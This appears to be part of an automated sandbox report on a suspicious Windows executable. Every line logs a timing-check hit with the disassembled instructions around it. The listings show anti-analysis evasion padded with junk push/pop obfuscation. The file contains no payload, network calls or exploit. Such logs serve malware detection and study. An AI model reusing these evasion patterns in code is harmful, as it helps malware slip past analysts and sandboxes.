Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 29F021 second address: 29F025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 29F025 second address: 29F02D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 29F02D second address: 29F039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF01C80C276h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3015F9 second address: 3015FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3015FE second address: 301611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF01C80C27Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3017B8 second address: 3017BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3017BD second address: 128867 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF01C80C278h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 3CBC763Fh 0x00000011 jmp 00007FF01C80C283h 0x00000016 push dword ptr [ebp+122D08CDh] 0x0000001c stc 0x0000001d call dword ptr [ebp+122D34F5h] 0x00000023 pushad 0x00000024 cld 0x00000025 xor eax, eax 0x00000027 mov dword ptr [ebp+122D2E4Eh], edx 0x0000002d mov edx, dword ptr [esp+28h] 0x00000031 pushad 0x00000032 mov edi, 53746DF0h 0x00000037 push ebx 0x00000038 jnp 00007FF01C80C276h 0x0000003e pop edx 0x0000003f popad 0x00000040 cld 0x00000041 mov dword ptr [ebp+122D2B74h], eax 0x00000047 pushad 0x00000048 mov ebx, 5A63656Ch 0x0000004d mov ebx, 32C6E414h 0x00000052 popad 0x00000053 mov esi, 0000003Ch 0x00000058 jno 00007FF01C80C280h 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 or dword ptr [ebp+122D2E4Eh], esi 0x00000068 lodsw 0x0000006a mov dword ptr [ebp+122D2E4Eh], esi 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 cld 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 or dword ptr [ebp+122D2E4Eh], ecx 0x0000007f nop 0x00000080 pushad 0x00000081 push eax 0x00000082 push edx 0x00000083 push esi 0x00000084 pop esi 0x00000085 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 307622 second address: 307629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 307629 second address: 307631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 306E00 second address: 306E18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91322h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 30734B second address: 307364 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FF01C80C280h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 307364 second address: 30736B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 30736B second address: 307375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FF01C80C276h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3074C8 second address: 3074D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3074D5 second address: 3074D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 30BC6A second address: 30BC6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 30BC6F second address: 30BC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D5FB7 second address: 2D5FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D5FBD second address: 2D5FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D5FC2 second address: 2D5FC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D5FC8 second address: 2D5FED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C286h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D5FED second address: 2D6025 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FF01CF91316h 0x00000009 jc 00007FF01CF91316h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 or edi, dword ptr [ebp+122D2B1Ch] 0x00000019 lea eax, dword ptr [ebp+12480D2Eh] 0x0000001f mov dword ptr [ebp+122D27EFh], edi 0x00000025 nop 0x00000026 pushad 0x00000027 jmp 00007FF01CF9131Dh 0x0000002c push eax 0x0000002d push edx 0x0000002e push ecx 0x0000002f pop ecx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D6025 second address: 2D6029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D65BB second address: 2D65BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D65BF second address: 2D65E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FF01C80C282h 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jnp 00007FF01C80C276h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D66CA second address: 2D66D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D66D0 second address: 2D66E2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF01C80C276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D6842 second address: 2D6863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 pushad 0x00000007 js 00007FF01CF91318h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF01CF91320h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D6933 second address: 2D6938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D6938 second address: 2D693E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D693E second address: 2D6969 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF01C80C276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e jmp 00007FF01C80C27Eh 0x00000013 pop esi 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a jo 00007FF01C80C278h 0x00000020 push eax 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D6969 second address: 2D6979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF01CF9131Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D6979 second address: 2D6989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D6BE0 second address: 2D6BE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D6BE7 second address: 2D6C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FF01C80C283h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D6C07 second address: 2D6C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D706A second address: 2D706E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D706E second address: 2D7082 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91320h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D7082 second address: 2D709C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF01C80C286h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D71BC second address: 2D71C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D73ED second address: 2D7447 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C27Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov cx, ax 0x00000010 lea eax, dword ptr [ebp+12480D72h] 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007FF01C80C278h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 push edx 0x00000031 mov ecx, dword ptr [ebp+122D297Ch] 0x00000037 pop edx 0x00000038 stc 0x00000039 nop 0x0000003a pushad 0x0000003b push ecx 0x0000003c jmp 00007FF01C80C282h 0x00000041 pop ecx 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D7447 second address: 2D74C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b jg 00007FF01CF91316h 0x00000011 pop ecx 0x00000012 jmp 00007FF01CF9131Dh 0x00000017 popad 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007FF01CF91318h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 adc ecx, 16556199h 0x00000039 lea eax, dword ptr [ebp+12480D2Eh] 0x0000003f push 00000000h 0x00000041 push edi 0x00000042 call 00007FF01CF91318h 0x00000047 pop edi 0x00000048 mov dword ptr [esp+04h], edi 0x0000004c add dword ptr [esp+04h], 0000001Ah 0x00000054 inc edi 0x00000055 push edi 0x00000056 ret 0x00000057 pop edi 0x00000058 ret 0x00000059 movsx edi, si 0x0000005c mov dword ptr [ebp+122D1890h], eax 0x00000062 nop 0x00000063 pushad 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D74C3 second address: 2D74C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D74C9 second address: 2BFCCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FF01CF91328h 0x0000000b jmp 00007FF01CF91320h 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 jnl 00007FF01CF91320h 0x00000019 nop 0x0000001a mov cl, 26h 0x0000001c call dword ptr [ebp+122D2F3Eh] 0x00000022 jg 00007FF01CF91324h 0x00000028 push edi 0x00000029 js 00007FF01CF9131Ch 0x0000002f jg 00007FF01CF91316h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2BFCCF second address: 2BFCD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2BFCD3 second address: 2BFCD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 30C425 second address: 30C434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF01C80C276h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 30C434 second address: 30C43D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 30C43D second address: 30C448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 30C448 second address: 30C44E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2969EC second address: 2969FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 31327D second address: 313292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007FF01CF9131Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 318114 second address: 318136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF01C80C289h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 318272 second address: 318288 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FF01CF91328h 0x0000000e jc 00007FF01CF91322h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 318288 second address: 31828E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3186AB second address: 3186B9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3186B9 second address: 3186D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF01C80C27Ah 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3186D0 second address: 3186D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 31E690 second address: 31E6BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C287h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FF01C80C27Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 31E6BF second address: 31E6F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FF01CF91316h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FF01CF9131Eh 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007FF01CF9131Fh 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 31DC85 second address: 31DC9E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FF01C80C27Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3257E7 second address: 3257EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 32538E second address: 325394 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 325394 second address: 3253B6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF01CF91318h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FF01CF9131Dh 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3253B6 second address: 3253BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3253BB second address: 3253C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3253C1 second address: 3253C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 325515 second address: 32552B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF01CF91316h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF01CF9131Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 327C64 second address: 327C86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C27Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FF01C80C278h 0x0000000f pushad 0x00000010 popad 0x00000011 js 00007FF01C80C27Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 32B9FE second address: 32BA02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3300E4 second address: 3300EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3300EA second address: 3300EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2983F8 second address: 2983FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2983FE second address: 298404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 298404 second address: 298408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 32F8F2 second address: 32F8F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 32F8F6 second address: 32F8FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 32FACA second address: 32FAE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FF01CF91323h 0x0000000a pop edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 32FAE9 second address: 32FAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 32FAF4 second address: 32FAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 32FAF8 second address: 32FAFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 32FAFC second address: 32FB14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF01CF9131Bh 0x0000000c push edi 0x0000000d pop edi 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 334D26 second address: 334D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 334D30 second address: 334D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 334EAA second address: 334ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF01C80C276h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c jmp 00007FF01C80C281h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
